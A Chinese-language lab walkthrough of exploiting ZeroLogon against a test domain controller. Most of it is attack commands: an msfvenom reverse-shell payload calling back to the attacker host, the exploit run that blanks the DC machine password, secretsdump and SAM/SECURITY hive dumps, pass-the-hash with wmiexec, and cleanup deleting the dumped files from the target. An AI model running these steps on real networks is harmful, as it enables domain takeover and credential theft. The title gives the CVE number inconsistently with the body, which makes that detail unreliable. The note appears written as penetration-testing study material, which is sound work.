利用ZeroLogon漏洞接管域控权限

漏洞介绍

CVE-2020-14722 (又称ZeroLogon)
是一个windows域控中严重的远程权限提升漏洞。它是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。由于微软在进行AES加密运算过程中，使用了AES-CFB8模式并且错误的将IV设置为全零，这使得攻击者在明文(client challenge)、IV等要素可控的情况下，存在较高概率使得产生的密文为全零。

实验环境

攻击机 —— Kali 2020
192.168.101.129

域成员 —— win7
192.168.101.134
10.10.10.250

域控 —— winserver 2012
10.10.10.253

实验开始

进入域

首先通过msf生成一个反向shell的马子，拿到域内pc的权限
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.129 LPORT=4444 -f exe > /home/zzzwj/tools/msf.exe

添加10网段的路由

配置好msf的socket代理模块，在/etc/proxychains.conf文件地下配置好代理的端口

利用nmap跑一下域控开放的端口

漏洞验证

POC地址：https://github.com/SecuraBV/CVE-2020-1472，根据链接指示安装支持的第三方库先
python3 cve-2020-1472-poc.py dc [IP]
验证该域控存在该漏洞

漏洞利用

用secretsdump.py来获取域控中保存的hash，因为现在域控密码还没被置空所以是获取失败的

kali自带impacket包中的secretsdump.py，在/usr/local/bin路径下

置空域控密码

注意，这里是域控密码，不是域管的密码。是域控这个机器用户的密码。
EXP地址：https://github.com/VoidSec/CVE-2020-1472
exp利用需要将impacket包更新下：python -m pip install --upgrade impacket

python3 cve-2020-1472-exploit.py -n dc -t 10.10.10.253

获取新凭据

这里获取的凭据是域管理员密码已被置空后的凭据
python3 secretdump.py -no-pass -just-dc com/dc\$@10.10.10.253

密码已成功置空

获取域控半交互式shell

wmiexec.py
获取到hash之后接下来我们就可以利用常见横向工具wmiexec.py进行登录，生成一个半交互式shell(管理员权限)
./wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ba0045e98c7e26cc2167f14f3f50bd32 com/Administrator@10.10.10.253

获取初始凭据（sam）

拿下域控后为了域内账户正常，事后需要恢复域控的密码，所以要从sam中提取初始（置空前）的凭据
tips:注册表解析

HKLM\SAM：包含用户密码的NTLM V2 
HashHKLM\Security：包含缓存的域记录LSA secrets/LSA密钥
HKLM\system-aka SYSKEY：包含可以用于加密LSA sercret和和SAM数据库的密钥

获取到shell后, 利用注册表命令将目标机上的的sam、system、security文件导出
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

下载导出的文件到本地
get sam.save
get system.save
get security.save

查看一下导出文件的位置，whereis sam.save

删除保存在目标机上的文件
del /f sam.save
del /f system.save
del /f security.save

利用secretsdump.py解析已经下载到在本地的sam文件
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:a3c4ee1111910fe33993af5ef8754e69

初始初hash为：a3c4ee1111910fe33993af5ef8754e69

还原域控密码

利用exp地址中的reinstall_original_pw.py对域控密码进行还原
python3 reinstall_original_pw.py dc 10.10.10.253 a3c4ee1111910fe33993af5ef8754e69

验证是否还原

python3 secretsdump.py 'com/Administrator:[域管administrator的密码]@10.10.10.253' -just-dc-user 'DC$'
查看dc$账号的hash，已成功还原

参考链接：
ZeroLogon漏洞分析
https://mp.weixin.qq.com/s/KYxpRfv3El5jXP-HqX-WeA
https://mp.weixin.qq.com/s/JZJj-KtsJ0LyMNNtxrAImA

实践学习学习~
 
GOT IT！

 
******************************************************
具体利用方式需根据具体实践场景~